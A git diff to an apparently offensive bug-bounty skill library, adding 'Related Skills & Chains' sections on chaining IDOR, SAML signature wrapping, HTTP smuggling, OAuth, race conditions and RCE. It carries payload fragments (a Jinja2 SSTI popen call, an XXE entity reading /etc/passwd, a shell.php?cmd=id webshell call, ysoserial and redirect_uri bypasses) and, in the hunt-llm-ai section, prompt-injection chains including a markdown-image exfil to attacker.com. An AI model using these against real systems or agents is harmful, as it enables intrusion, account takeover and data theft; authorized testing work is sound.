introspection itself is zero-severity, but it is the entry point to critical findings.++---++## Related Skills & Chains++- **`hunt-idor`** — GraphQL `node(id:)` and global-relay-ID resolvers are IDOR factories: same shape, no scoping. Chain primitive: GraphQL introspection + IDOR (`node()` resolver) → cross-tenant data via base64-decoded type:id replay.+- **`hunt-api-misconfig`** — GraphQL mutations are mass-assignment magnets: clients send full input objects, server merges. Chain primitive: GraphQL mutation + extra fields (`isAdmin:true`, `verified:true`) → mass assignment → role escalation.+- **`hunt-business-logic`** — GraphQL aliases let you call the same mutation N times in one request, defeating per-request rate limits. Chain primitive: aliased mutation + business-logic flaw → coupon redeemed N times in single network round-trip.+- **`hunt-race-condition`** — GraphQL batching collapses N mutations into one HTTP packet — perfect single-packet race vehicle. Chain primitive: GraphQL batch + race → atomic-update missing → double-spend balance.+- **`security-arsenal`** — Load the GraphQL Payload Pack: introspection query, schema-suggestion error probe, alias amplification template, depth-bomb DoS payload, batch-attack template.+- **`triage-validation`** — Apply the Body-Diff Rule: introspection alone is informational; require a concrete cross-tenant read or mutation-with-impact PoC before submitting.\ No newline at end of filediff --git a/skills/hunt-http-smuggling/SKILL.md b/skills/hunt-http-smuggling/SKILL.mdindex 0d7ed7c..f85b822 100644--- a/skills/hunt-http-smuggling/SKILL.md+++ b/skills/hunt-http-smuggling/SKILL.md@@ -31,4 +31,15 @@ Steal credentials → capture victim's sessionCache poisoning → stored XSS at scale```+---++## Related Skills & Chains++- **`hunt-cache-poison`** — Smuggling + cache is the canonical critical chain; one smuggled request becomes the cached response for every subsequent victim. Chain primitive: CL.TE smuggle a request whose response body contains attacker HTML/JS → front-end cache stores it under a popular URL (`/`, `/login`) → de-sync poisoning where the smuggled request becomes the cached response for the next N victims, persisting for the cache TTL.+- **`hunt-auth-bypass`** — Smuggling reaches internal-only routes that the front-end WAF/auth-proxy filters out. Chain primitive: smuggle `GET /admin/users HTTP/1.1` past the front-end ACL that blocks external `/admin/*` → backend processes the smuggled request as if from a trusted internal source → bypass front-end auth by smuggling internal-routed request → admin data in the response queue.+- **`hunt-idor`** — Smuggling attaches the NEXT user's session cookies to an attacker-controlled request path. Chain primitive: smuggle `GET /api/me HTTP/1.1` with no cookies → backend pairs it with the next legitimate user's incoming connection cookies → victim's session cookie attached to attacker's smuggled request → attacker reads the response containing victim's PII/tokens.+- **`hunt-xss`** — Smuggling injects XSS payloads into the response stream of the next victim without ever appearing in a URL parameter. Chain primitive: smuggled request body contains reflected payload that the backend renders into the next response in the queue → next visitor to `/` receives attacker HTML inline → reflected XSS at every visitor without any URL parameter visible to them or to logs.+- **`security-arsenal`** — Reach for the smuggling payload bank (CL.TE / TE.CL / TE.TE obfuscations, H2.CL downgrade probes, h2csmuggler one-liners, Burp HTTP Request Smuggler extension config) and the time-delay confirmation template before manual hex-editing.+- **`triage-validation`** — Run the Pre-Severity Gate before claiming Critical: the smuggled-request effect MUST land on a request issued by a different client/session, not your own follow-up. A timing delta in your own browser alone is parser disagreement, not exploitable smuggling.+diff --git a/skills/hunt-idor/SKILL.md b/skills/hunt-idor/SKILL.mdindex 95f3358..d9d870e 100644--- a/skills/hunt-idor/SKILL.md+++ b/skills/hunt-idor/SKILL.md@@ -311,4 +311,14 @@ An attacker discovers two related IDORs: one allows reading any organization's vA migration feature allows users to upload files to a migration job. The `migration_id` parameter is not validated against the authenticated user's ownership. An attacker creates their own migration, observes the ID format, and substitutes another user's private migration ID — gaining read access to source code files from private repositories they have no access to. Impact: complete confidentiality bypass for private intellectual property.**Scenario 3: Account Takeover Chain via Message IDOR (Reddit-style)**-An attacker accesses another user's private message threads by substituting their `thread_id` in a messaging API endpoint. The response includes message content, metadata, and — critically — session or verification tokens sent via internal messages. The attacker leverages the token found in the messages to perform account recovery steps, escalating a read-only IDOR into full account takeover. Impact: complete account compromise of targeted users at scale.\ No newline at end of file+An attacker accesses another user's private message threads by substituting their `thread_id` in a messaging API endpoint. The response includes message content, metadata, and — critically — session or verification tokens sent via internal messages. The attacker leverages the token found in the messages to perform account recovery steps, escalating a read-only IDOR into full account takeover. Impact: complete account compromise of targeted users at scale.++---++## Related Skills & Chains++- **`hunt-auth-bypass`** — Object-level authorization failure plus route-level auth absence is the canonical IDOR-amplifier. Chain primitive: missing `req.user.id` scoping in ORM query + missing middleware on legacy `/v1/` route = unauthenticated cross-tenant data read via direct ID substitution → bulk PII dump without any session at all.+- **`hunt-ato`** — Profile-edit IDOR is the most direct path from "read someone's data" to "own their account." Chain primitive: `PATCH /api/users/{victim_uid}` accepts attacker's session + victim UID → set `[email protected]` → trigger password reset → reset link arrives at attacker → full ATO without ever knowing victim credentials.+- **`hunt-graphql`** — GraphQL resolvers without field-level authorization are IDOR-by-default; introspection hands you the schema. Chain primitive: `__schema` introspection → enumerate every mutation accepting `id:` argument → substitute victim IDs across `updateUser`, `deleteOrg`, `transferBilling` mutations → mass IDOR fan-out from one introspection query.+- **`security-arsenal`** — Pull the IDOR Bypass Tables section for HTTP-parameter-pollution payloads (`?id=own&id=victim`), nested-JSON wrappers (`{"data":{"id":"VICTIM"}}`), and parameter-name variations (`uid`/`userId`/`user_id`/`account`) when the first direct substitution returns 403.+- **`triage-validation`** — Run the Pre-Severity Gate before claiming Critical on an IDOR that returns 200 but doesn't actually leak data (empty array, redacted fields, "access denied" in body with 200 status). The 200-but-no-data IDOR is the #1 N/A driver on H1/Bugcrowd.\ No newline at end of filediff --git a/skills/hunt-llm-ai/SKILL.md b/skills/hunt-llm-ai/SKILL.mdindex 6e6110d..25eebd0 100644--- a/skills/hunt-llm-ai/SKILL.md+++ b/skills/hunt-llm-ai/SKILL.md@@ -41,4 +41,14 @@ Chatbot renders markdown → browser fires GET with sensitive data**Triage rule:** ASI alone = Informational. Must chain to IDOR/exfil/RCE/ATO for bounty.+---++## Related Skills & Chains++- **`hunt-ssrf`** — Any LLM with a fetch tool is an SSRF primitive with elevated network position. Chain primitive: LLM tool-use (fetch_url) + SSRF → attacker URL exfils chat history AND fetches `169.254.169.254` IMDS from inside the LLM VPC.+- **`hunt-idor`** — Chatbots that touch user data without per-session scoping become IDOR factories. Chain primitive: prompt injection + chatbot tool (`get_user`) → IDOR-via-AI → cross-tenant PII via "show last message from user 456".+- **`hunt-xss`** — Markdown/HTML rendering of LLM output is an XSS vehicle (ASI09: Trust Exploitation). Chain primitive: indirect injection via uploaded doc → AI emits markdown image → browser fires GET `attacker.com?d={session.token}` → cookie exfil.+- **`hunt-rce`** — Code-interpreter / sandbox tools are RCE-by-design when escape is possible. Chain primitive: prompt injection + code-interpreter tool → sandbox escape via Python `os.system` → RCE on AI worker.+- **`security-arsenal`** — Load the LLM Payload Pack: ASCII smuggling (Unicode tag block U+E0000-U+E007F), system-prompt-extract phrases, markdown-exfil templates, indirect-injection PDF/HTML templates.+- **`triage-validation`** — Apply the Body-Diff Rule: a system prompt leak alone is informational; require demonstrated cross-user data leak, tool-use exfil to attacker host, or RCE before reporting.diff --git a/skills/hunt-mfa-bypass/SKILL.md b/skills/hunt-mfa-bypass/SKILL.mdindex 9dc897c..95f69f6 100644--- a/skills/hunt-mfa-bypass/SKILL.md+++ b/skills/hunt-mfa-bypass/SKILL.md@@ -82,4 +82,14 @@ Skip MFA step = auth flow bypass = CriticalOTP reuse = persistent session hijack = High```+---++## Related Skills & Chains++- **`hunt-ato`** — MFA bypass is a primitive; ATO is the destination. Chain primitive: cookie theft (via XSS or session-fixation) + password oracle (login response timing/length diff reveals valid passwords without lockout) + no MFA step-up on password-change endpoint = persistent ATO without ever facing the OTP challenge → password rotated, attacker locks victim out.+- **`hunt-race-condition`** — Pattern 5 (OTP race) lives in race-condition territory; load both skills together. Chain primitive: same 6-digit OTP submitted via 20 parallel HTTP/2 streams (single-packet Turbo Intruder attack) before the server marks it used → 1 success + 19 "already-used" → race window confirmed → attacker doesn't need to brute, just guesses once and parallelizes → ATO.+- **`hunt-auth-bypass`** — MFA-step-skip is auth-flow bypass at the workflow layer. Chain primitive: pre-MFA cookie issued after password step + direct navigation to `/dashboard` skipping `/mfa` route + server only middleware-gates `/mfa` not `/dashboard` = full post-auth access from password-only state → MFA never enforced because the route gate was misplaced.+- **`hunt-misc`** — Recovery-code dump via `/api/me` is a misc-class info disclosure that becomes Critical when chained. Chain primitive: `/api/me` returns full user object including `backup_codes` array (plaintext, never rotated) → attacker with any read-IDOR or XSS exfils backup codes → uses one backup code → MFA satisfied → ATO without OTP knowledge.+- **`security-arsenal`** — Pull the OTP-brute-force payload section (000000-999999 wordlist generator, ffuf rate-limit-evasion patterns with `-t 5 -p 0.5-2`, distributed-IP rotation via proxychains) and the JWT-token-replay table when "MFA satisfied" claim lives in a JWT claim that can be forged.+- **`triage-validation`** — Run the Pre-Severity Gate before claiming Critical on an MFA bypass that only works when the attacker already has the password. Standalone MFA bypass is High; chained-with-password-oracle is Critical; chained-with-cookie-theft-only is Critical. The chain question separates the two.diff --git a/skills/hunt-misc/SKILL.md b/skills/hunt-misc/SKILL.mdindex 9280f75..be1b29f 100644--- a/skills/hunt-misc/SKILL.md+++ b/skills/hunt-misc/SKILL.md@@ -256,4 +256,15 @@ An attacker receives a partner invitation link for a low-privilege role. BeforeA staff member with restricted permissions is removed from a company account after a dispute. Their session token remains valid because revocation only updates the membership table, not the session store. The ex-employee continues to access customer PII, order data, and financial reports via direct API calls for days or weeks post-termination. Business impact: GDPR/CCPA breach exposure, potential extortion leverage, competitive intelligence theft.**Scenario C — SAML Signature Bypass for Account Takeover (GitHub Enterprise-class)**-An attacker targeting a GitHub Enterprise instance with SAML SSO enabled crafts a SAML response where the `Signature` element is stripped or moved to cover only a non-critical assertion attribute. The XML parser accepts the document as valid; the signature verifier passes because the signed sub-element validates correctly; the NameID (username/email) in the unsigned portion is set to a victim admin account. Attacker authenticates as the victim with no knowledge of their password or MFA. Business impact: full admin access to all private repositories, CI/CD secrets, and GitHub Actions workflows in the enterprise.\ No newline at end of file+An attacker targeting a GitHub Enterprise instance with SAML SSO enabled crafts a SAML response where the `Signature` element is stripped or moved to cover only a non-critical assertion attribute. The XML parser accepts the document as valid; the signature verifier passes because the signed sub-element validates correctly; the NameID (username/email) in the unsigned portion is set to a victim admin account. Attacker authenticates as the victim with no knowledge of their password or MFA. Business impact: full admin access to all private repositories, CI/CD secrets, and GitHub Actions workflows in the enterprise.++---++## Related Skills & Chains++- **`hunt-saml`** — SAML signature wrapping (XSW1–XSW8) is the canonical "misc auth" critical. Chain primitive: SAML XSW + `hunt-saml` AttributeStatement injection → NameID swap → ATO of victim admin via SSO with no password.+- **`hunt-business-logic`** — Misc role/permission desync bugs overlap with business-logic state-machine flaws. Chain primitive: business logic (invitation-before-verify) + role assignment without identity confirmation → tenant takeover.+- **`hunt-auth-bypass`** — Session-revocation gaps and stale-token issues are pure auth-bypass primitives. Chain primitive: removed user retains session token → `hunt-auth-bypass` → post-termination data exfil and persistent access.+- **`hunt-ato`** — Most misc auth bugs end at account takeover. Chain primitive: signature-stripping / NameID injection + `hunt-ato` Path 6 (JWT/SAML manipulation) → admin ATO across enterprise.+- **`security-arsenal`** — Load the SAML Raider payload pack, the session-revocation probe checklist, and the Always-Rejected list (rate-limiting on auth, theoretical issues, user enumeration without sensitive PII).+- **`triage-validation`** — Apply the 7-Question Gate plus the Body-Diff Rule: misc bugs are the highest-N/A category — a state desync claim needs a concrete cross-tenant read or admin-action PoC, not just "the API let me call it".\ No newline at end of filediff --git a/skills/hunt-ntlm-info/SKILL.md b/skills/hunt-ntlm-info/SKILL.mdindex e4699f8..95fc806 100644--- a/skills/hunt-ntlm-info/SKILL.md+++ b/skills/hunt-ntlm-info/SKILL.md@@ -258,3 +258,13 @@ Target: `https://mail.example.com/EWS/Exchange.asmx`. Type-1 probe returns Type-### Scenario C — Intranet-only intentional leak (not a finding)Target: `https://intranet.corp.example` (clearly internal, behind VPN). Type-1 returns full AV-pair set. Not reportable — this is intended NTLM behavior on intranet, and the disclosure is to authenticated VPN users who already see the same data via `nltest /dsgetdc:corp.example.com`. Recognize and drop.++---++## Related Skills & Chains++- **`hunt-sharepoint`** — SharePoint farms emit anonymous Type-2 challenges on `/_vti_bin/` by default; this is one of the most reliable ways to get internal AD topology. Chain primitive: SharePoint discovered → NTLM Type-2 capture on `/_vti_bin/Lists.asmx` → `hunt-ntlm-info` AV_PAIR decode → internal forest name → `m365-entra-attack` ROPC spray on Entra tenant tied to that forest.+- **`m365-entra-attack`** — Leaked NetBIOS domain + UPN suffix is the missing piece for a credible password spray. Chain primitive: NTLM Type-2 yields `corp.example.com` DNS tree → cross-reference Entra tenant via `https://login.microsoftonline.com/corp.example.com/.well-known/openid-configuration` → `m365-entra-attack` AADSTS error-differential username enumeration on resolved tenant.+- **`hunt-aspnet`** — IIS sites running ASP.NET frequently expose NTLM on management paths. Chain primitive: NTLM Type-2 on `/owa/`, `/ecp/`, `/rpc/`, `/aspnet_client/` → confirm IIS + ASP.NET version → `hunt-aspnet` ViewState / `.axd` enumeration on same host.+- **`offensive-osint`** — The hostname pattern `WIN-XXXXXXXXXXX` signals lazy provisioning and predicts other weak hygiene. Chain primitive: NTLM Type-2 returns default-installer hostname → flag as low-maturity environment → `offensive-osint` deep recon (cert transparency, GitHub leakage, breach corpus correlation) is high-yield on this org.+- **`triage-validation`** — Most NTLM info-disclosure findings die at the 7-Question Gate on "is this exploitable" — pure topology disclosure is Low/Informational. Chain primitive: pull every NTLM-info finding through `triage-validation` BEFORE writing it up; only report if (a) leaks UPN format that accelerates spray, or (b) leaks production hostname mapping (`redteam-report-template` for the chain-narrative).diff --git a/skills/hunt-oauth/SKILL.md b/skills/hunt-oauth/SKILL.mdindex c86b9cd..ce622f9 100644--- a/skills/hunt-oauth/SKILL.md+++ b/skills/hunt-oauth/SKILL.md@@ -286,4 +286,15 @@ An attacker discovers that the Android app's push notification handler accepts aA developer creates an account with an unverified email address. Normally the platform blocks full access until email is verified. However, the `/oauth/token` endpoint performs no verification status check — it only validates credentials. The attacker calls `/oauth/token` directly with valid (unverified) credentials and receives a fully-scoped OAuth token. This token passes all downstream authorization checks. Result: complete authentication bypass, allowing unverified/disposable email accounts to gain full platform access, undermining the email verification security control entirely. At scale on a platform like GitLab, this affects CI/CD pipeline access, repository access, and API usage.### Scenario 3: OAuth Token Theft via Referrer Header on Language Change (Rockstar Games pattern)-The OAuth callback page for Facebook login lands users at a URL containing the `access_token` in the query string. The page includes a language-switcher widget that makes a GET request to change locale preferences. This GET request includes the full page URL as a `Referer` header — containing the Facebook access token. An attacker who can read server logs (or who compromises the language-change endpoint, or who is a malicious advertiser with pixel access) harvests Facebook OAuth tokens from Referer logs. Result: the attacker can authenticate to the victim's Facebook account and any other service accepting that Facebook token, constituting a cross-platform account takeover. Business impact: GDPR/privacy violation, cross-service account compromise, potential regulatory liability.\ No newline at end of file+The OAuth callback page for Facebook login lands users at a URL containing the `access_token` in the query string. The page includes a language-switcher widget that makes a GET request to change locale preferences. This GET request includes the full page URL as a `Referer` header — containing the Facebook access token. An attacker who can read server logs (or who compromises the language-change endpoint, or who is a malicious advertiser with pixel access) harvests Facebook OAuth tokens from Referer logs. Result: the attacker can authenticate to the victim's Facebook account and any other service accepting that Facebook token, constituting a cross-platform account takeover. Business impact: GDPR/privacy violation, cross-service account compromise, potential regulatory liability.++---++## Related Skills & Chains++- **`hunt-subdomain`** — The single highest-impact OAuth chain. Chain primitive: OAuth `redirect_uri` validator accepts any `*.target.com` subdomain + recon reveals `dev-staging.target.com` CNAMEs to a deprovisioned Heroku/S3/Azure app → claim the dangling subdomain → host an OAuth callback receiver there → craft `/oauth/authorize?redirect_uri=https://dev-staging.target.com/cb` → victim clicks → auth code lands on attacker-claimed subdomain → exchange for token → ATO. The redirect_uri whitelist passed because the subdomain is "legitimately" under target.com control.+- **`hunt-ato`** — OAuth state-CSRF is the textbook ATO-via-account-linking primitive. Chain primitive: `state` parameter absent or not session-bound + victim is already logged into target.com + attacker initiates OAuth flow from their own account, captures `code` before exchange + crafts callback URL with attacker's code → forces victim to visit → victim's target.com session is now linked to attacker's Google/Facebook identity → attacker logs in via Google → owns victim's account.+- **`hunt-llm-ai`** — Modern OAuth flows for AI agents (ChatGPT plugins, Claude MCP servers, agentic copilots) reuse OAuth 2.1 + PKCE. Chain primitive: agentic AI accepts `redirect_uri` from indirect prompt-injection in a document → model crafts OAuth authorize URL with attacker callback → user clicks "approve" thinking it's the agent's own flow → tokens exfiltrated via tool-use to attacker domain.+- **`hunt-saml`** — When OAuth is layered atop a SAML IdP, the IdP-level XSW becomes the OAuth ATO path. Chain primitive: SAML SP that issues OAuth tokens after assertion-validation + XSW attack on the assertion alters `NameID` to admin user → SP issues OAuth token bearing admin identity → OAuth-scoped APIs grant admin access.+- **`security-arsenal`** — Pull the OAuth `redirect_uri` Bypass Table (host-confusion `[email protected]`, `legit.com.evil.com`, path-traversal, parameter pollution, encoded-slash `%2F`, fragment-injection `#legit.com`) and the open-redirect chain catalog when exact-match validation forces you to find an open-redirect on the whitelisted domain first.+- **`triage-validation`** — Run the Pre-Severity Gate before claiming Critical on an OAuth "open redirect" that doesn't actually leak a token (only the `state` param, or the callback page doesn't include credentials in URL). State-only leakage is Low; token/code leakage with successful exchange demonstration is Critical. The exchange-the-code step is non-negotiable.\ No newline at end of filediff --git a/skills/hunt-race-condition/SKILL.md b/skills/hunt-race-condition/SKILL.mdindex 4848800..53b6baa 100644--- a/skills/hunt-race-condition/SKILL.md+++ b/skills/hunt-race-condition/SKILL.md@@ -240,4 +240,15 @@ A bug bounty platform's "popular reports" feature allowed upvotes to improve repOn a major social network (Facebook-scale), promotional or limited-use actions — such as adding a phone number for a one-time security credit, or claiming a one-time bonus — were vulnerable to simultaneous parallel requests. An attacker could race the claim endpoint and receive the promotional benefit multiple times, causing direct financial loss to the platform and allowing fraudulent accumulation of platform currency or benefits at scale. Given the user volume, even a brief window before patching represented significant financial exposure.### Scenario 3: Cloud Infrastructure Provider — Resource Limit Bypass-A cloud hosting provider enforced limits on the number of resources (e.g., droplets, projects, or API keys) a free-tier user could create. The limit check and resource creation were non-atomic operations. By racing the creation endpoint with 20 simultaneous requests, an attacker bypassed the enforcement logic and created resources far exceeding their tier limit. This translated directly to unauthorized compute consumption, billing fraud, and abuse of infrastructure — impacting both the provider's revenue and system stability for legitimate users.\ No newline at end of file+A cloud hosting provider enforced limits on the number of resources (e.g., droplets, projects, or API keys) a free-tier user could create. The limit check and resource creation were non-atomic operations. By racing the creation endpoint with 20 simultaneous requests, an attacker bypassed the enforcement logic and created resources far exceeding their tier limit. This translated directly to unauthorized compute consumption, billing fraud, and abuse of infrastructure — impacting both the provider's revenue and system stability for legitimate users.++---++## Related Skills & Chains++- **`hunt-business-logic`** — Race conditions are the "concurrency arm" of every business-logic state machine. Chain primitive: business logic (coupon/promo) + race-condition single-packet attack → coupon redeemed N times → direct financial loss.+- **`hunt-mfa-bypass`** — OTP-expiry windows and replay protection are classic race targets. Chain primitive: race + MFA-validate endpoint → bypass OTP expiry by submitting N concurrent validations within the validity window.+- **`hunt-ato`** — Race conditions on password reset, email change, and account creation enable persistent ATO. Chain primitive: race on email-change endpoint + atomic-update missing → swap victim email + read reset token before user notice.+- **`hunt-api-misconfig`** — Wallet/balance/credit endpoints without atomic UPDATE are double-spend candidates. Chain primitive: race + atomic-update missing → double-spend balance → withdraw N× user balance.+- **`security-arsenal`** — Load the Turbo Intruder single-packet template, h2.cl smuggling for atomic submit, and `curl --next` parallel multi-request patterns.+- **`triage-validation`** — Apply the Statistical-Sampling gate: a single anomalous response is noise; require 1 successful + N duplicate / over-quota / stale-state demonstrations with response screenshots before reporting.\ No newline at end of filediff --git a/skills/hunt-race/SKILL.md b/skills/hunt-race/SKILL.mddeleted file mode 100644index f695ab6..0000000--- a/skills/hunt-race/SKILL.md+++ /dev/null@@ -1,40 +0,0 @@-----name: hunt-race-description: "Hunt race conditions and TOCTOU bugs — bugs that fire only when 2+ concurrent requests land within a small time window. Patterns: double-spend (coupon redeemed twice, balance debited once), referral payout multiplier (refer self N times concurrently), file upload race (path generated then validated then written), session race (login + delete account concurrent), checkout race (cart total computed → payment captured with modified cart), MFA-bypass-via-race (race the OTP-validate against expiry). Tooling: Burp Turbo Intruder single-packet attack, h2.cl smuggling for atomic submit, parallel curl with --next. Detection: every endpoint that mutates state under a uniqueness constraint is a candidate. Validate: 1 successful + N duplicate / over-quota / stale-state demonstrations. Real paid examples (coupon, gift-card, account-create, MFA bypass). Use when hunting concurrency bugs, double-spend, balance manipulation, MFA-bypass-via-timing."------## 6. RACE CONDITIONS--### Classic Double-Spend-```python-# VULNERABLE-def spend_credit(user_id, amount):- balance = get_balance(user_id) # CHECK- if balance >= amount:- deduct(user_id, amount) # USE — gap here--# SECURE (atomic)-rows = db.execute("UPDATE balances SET amount=amount-? WHERE user_id=? AND amount>=?",- amount, user_id, amount)-if rows == 0: raise InsufficientBalance()-```--### Testing-```bash-# Turbo Intruder (Burp) with Last-Byte Sync-# Python parallel-import threading, requests-threads = [threading.Thread(target=lambda: requests.post(url, json={'code':'PROMO123'},- headers={'Authorization': f'Bearer {token}'})) for _ in range(20)]-for t in threads: t.start()-for t in threads: t.join()-```--### Race Targets-- Coupon/promo code redemption-- Gift card / credit spending-- Limited stock purchase-- Rate limit bypass (send before counter increments)-- Email verification token--diff --git a/skills/hunt-rce/SKILL.md b/skills/hunt-rce/SKILL.mdindex 66f5453..a769db4 100644--- a/skills/hunt-rce/SKILL.md+++ b/skills/hunt-rce/SKILL.md@@ -304,4 +304,15 @@ An attacker with a low-privileged "Management Console Editor" account on a GitHuA researcher enumerated internal npm package names by reviewing JavaScript bundles served from target CDN endpoints and public GitHub repositories belonging to a major payments platform. Several `@internal/*` scoped packages were referenced but not registered on the public npm registry. The researcher published higher-versioned packages with identical names containing a postinstall script that executed a canary callback. Within hours, the callback fired from multiple IP addresses belonging to the target's CI/CD build farm — confirming that every npm install on their build infrastructure executed attacker-controlled code. The same technique worked against a ride-sharing platform's internal tooling. Impact: arbitrary code execution on build servers with access to production deployment credentials and signing keys.**Scenario C: Exposed Kubernetes API → Cluster Takeover**-During reconnaissance on a target's cloud infrastructure, a researcher discovered a publicly accessible Kubernetes API server (port 6443) with overly permissive RBAC. Using default service account tokens and unauthenticated API calls, the researcher enumerated running pods, retrieved secrets from the default namespace (including database credentials and third-party API keys), and demonstrated the ability to spawn privileged pods with `hostPID: true` — enabling full node compromise. The Kubernetes cluster managed the target's core production services. Impact: access to all stored secrets, ability to deploy malicious workloads, and pivot to every service in the cluster.\ No newline at end of file+During reconnaissance on a target's cloud infrastructure, a researcher discovered a publicly accessible Kubernetes API server (port 6443) with overly permissive RBAC. Using default service account tokens and unauthenticated API calls, the researcher enumerated running pods, retrieved secrets from the default namespace (including database credentials and third-party API keys), and demonstrated the ability to spawn privileged pods with `hostPID: true` — enabling full node compromise. The Kubernetes cluster managed the target's core production services. Impact: access to all stored secrets, ability to deploy malicious workloads, and pivot to every service in the cluster.++---++## Related Skills & Chains++- **`hunt-ssti`** — Template engines that hit `eval()`/`exec()`/`os.system()` are RCE hiding behind a render call. Chain primitive: Jinja2 `{{config.__class__.__init__.__globals__['os'].popen('id').read()}}` reflected in email-template preview → unauthenticated RCE as the worker process.+- **`hunt-file-upload`** — File-write primitives become RCE when the upload directory is web-served, processed by a deserializer, or loaded by a `.htaccess`/`web.config`. Chain primitive: SVG/PHP polyglot bypasses MIME check → direct `GET /uploads/shell.php?cmd=id` → RCE; or DOCX with `phar://` stream wrapper → PHP object deserialization → RCE.+- **`hunt-ssrf`** — When the RCE primitive lives on an internal-only endpoint (admin console, internal Redis, Jenkins script-console), gate it through an SSRF. Chain primitive: external SSRF → `http://127.0.0.1:8080/manage/scriptText` (Jenkins/Tomcat) → Groovy `Runtime.exec` → RCE; or SSRF → `gopher://redis:6379` write to crontab → RCE.+- **`hunt-aspnet`** — ASP.NET ViewState deserialization is a giant RCE class behind a known `__VIEWSTATE` parameter. Chain primitive: machineKey recovery (or leaked `<machineKey>` from `web.config` disclosure) → `ysoserial.net -p ViewState -g TypeConfuseDelegate` → RCE as `IIS APPPOOL\<name>`.+- **`security-arsenal`** — Reach for the deserialization payload tree (ysoserial Java gadget chains, ysoserial.net for .NET ViewState/BinaryFormatter, Python pickle `__reduce__`, Ruby Marshal, PHP `phar://` metadata, Node `node-serialize` IIFE) the moment you have a sink that accepts serialized bytes.+- **`triage-validation`** — Apply the Pre-Severity Gate before claiming Critical. A "blind RCE" that turns out to be file-write-only with no execution path is not RCE; a sandboxed eval that can't reach `os` is at best Medium SSTI. Prove `whoami`/OOB DNS callback with a unique marker before writing the report.\ No newline at end of filediff --git a/skills/hunt-saml/SKILL.md b/skills/hunt-saml/SKILL.mdindex 312daf2..68c3bc0 100644--- a/skills/hunt-saml/SKILL.md+++ b/skills/hunt-saml/SKILL.md@@ -93,3 +93,14 @@ Comment injection = High (ATO admin)XXE in assertion = High (file read / SSRF)NameID manip = Medium/High (depends on what NameID maps to)```++---++## Related Skills & Chains++- **`hunt-ato`** — SAML XSW with absent audience-restriction validation is the canonical SP-impersonation-of-admin chain. Chain primitive: XSW1 attack relocates signed assertion to a secondary position + injects evil assertion with `[email protected]` in primary position + SP processes first assertion (the evil one) + SP doesn't validate `<AudienceRestriction>` so an assertion intended for IdP-A is accepted by SP-B → admin ATO across federated tenant boundary.+- **`hunt-auth-bypass`** — SAML signature-stripping is the textbook auth-bypass pattern; this skill provides the SAML mechanics, hunt-auth-bypass provides the broader bypass-discipline. Chain primitive: capture valid SAMLResponse → regex-strip `<ds:Signature>` element entirely → modify `<NameID>` to admin → re-encode base64 → POST to `/saml/acs` → SP wantAssertionsSigned=false silently accepts → admin session issued without any cryptographic challenge.+- **`hunt-oauth`** — SAML-fronted OAuth issuers turn assertion-level bugs into token-level ATO. Chain primitive: SP issues OAuth bearer tokens after SAML assertion validation + XSW alters NameID to admin → SP's token endpoint issues OAuth token bearing admin claims → all downstream OAuth-scoped APIs (admin API, billing API, user-management API) grant admin access from a single forged assertion.+- **`hunt-xxe`** — SAML assertions ARE XML; XXE in the assertion parser is a separate chain on top of XSW. Chain primitive: SAML parser without `disallow-doctype-decl` + `<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>` in assertion + `<NameID>&xxe;</NameID>` → SP renders/logs NameID → /etc/passwd contents leak in error response or audit log → file-read primitive on SAML SP infrastructure.+- **`security-arsenal`** — Pull the SAML/XSW Payload Catalog (XSW1-XSW8 templates, comment-injection variants for libxml/Xerces/MSXML parser differences, signature-wrapping with multiple Reference elements, key-confusion payloads where attacker-IdP-signed assertions are accepted by trust-naive SPs) and the always-rejected list for "SAMLResponse accepted on the wrong endpoint" claims that don't actually validate.+- **`triage-validation`** — Run the Pre-Severity Gate before claiming Critical on a SAML "vulnerability" that only modifies non-security-relevant attributes (display name, locale) without altering NameID, AuthnContext, or role-bearing AttributeStatements. Theoretical XML manipulation that doesn't cross an authorization boundary is Informational, not Critical — the auth-decision-changing step is the gate.diff --git a/skills/hunt-sharepoint/SKILL.md b/skills/hunt-sharepoint/SKILL.mdindex 693679e..a91b54b 100644--- a/skills/hunt-sharepoint/SKILL.md+++ b/skills/hunt-sharepoint/SKILL.md@@ -425,3 +425,13 @@ Same target. Feeding `Microsoft.SharePoint.WebPartPages.DataFormWebPart` (the ca- **HTTP request smuggling on AWS ELB + IIS** → see `hunt-http-smuggling`.- **OOB confirmation of any SSRF claim on SP** → see `hunt-ssrf` OOB-Or-It-Didn't-Happen Gate.- **Engagement-type confirmation before treating hygiene findings as bug-bounty submissions** → see `bb-methodology` PART 0 Mode-Confirmation Gate.++---++## Related Skills & Chains++- **`hunt-auth-bypass`** — Legacy SOAP `/_vti_bin/Authentication.asmx` accepts anonymous Login calls on misconfigured farms. Chain primitive: SharePoint anon SOAP login probe → if response yields cookie or success differential → `hunt-auth-bypass` brute-force matrix (username enumeration via timing, password spray with low-and-slow against the same SOAP endpoint that bypasses ADFS-level lockout) → valid cred → `/_layouts/15/` authenticated surface.+- **`hunt-ntlm-info`** — Every SharePoint farm advertises `WWW-Authenticate: NTLM` anonymously on `/_vti_bin/`. Chain primitive: SharePoint NTLM Type-2 challenge capture → `hunt-ntlm-info` AV_PAIR decode yields NetBIOS domain + internal DNS forest + DC hostname → feed domain into `m365-entra-attack` ROPC user-enumeration spray on tenant tied to that domain.+- **`hunt-aspnet`** — SharePoint is ASP.NET Webforms under the covers; ViewState, machineKey, and SafeControl reflection all apply. Chain primitive: SharePoint version disclosure → confirm patch level missing → `hunt-aspnet` ViewState dual-parser MAC-bypass → deserialization gadget → RCE in `w3wp.exe` as farm account.+- **`hunt-rce`** — ToolShell precondition chain (CVE-2025-53770) is the current high-impact SP RCE path. Chain primitive: ToolShell preconditions met (`/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx` reachable + version vulnerable) → `hunt-rce` deserialization gadget chain → SYSTEM/farm-account shell → `m365-entra-attack` lateral via stolen on-prem service-account token to Entra-synced identity.+- **`triage-validation`** — SharePoint farms generate a lot of "looks like a finding" hygiene noise (FormDigest issuance, version disclosure, extension blocklist quirks). Chain primitive: run every SP finding through the 7-Question Gate before reporting — most version-disclosure-only findings die at "is this actually exploitable on this farm" without a paired CVE PoC.diff --git a/skills/hunt-sqli/SKILL.md b/skills/hunt-sqli/SKILL.mdindex 0e6d3ab..aeb7547 100644--- a/skills/hunt-sqli/SKILL.md+++ b/skills/hunt-sqli/SKILL.md@@ -355,4 +355,14 @@ An email tracking subdomain (`sctrack.email.[company].com.cn`) built on a legacyA company's marketing site ran WordPress with the Huge IT Video Gallery plugin. The plugin's `album_id` parameter was unparameterized. Because the site shared database credentials with other services, 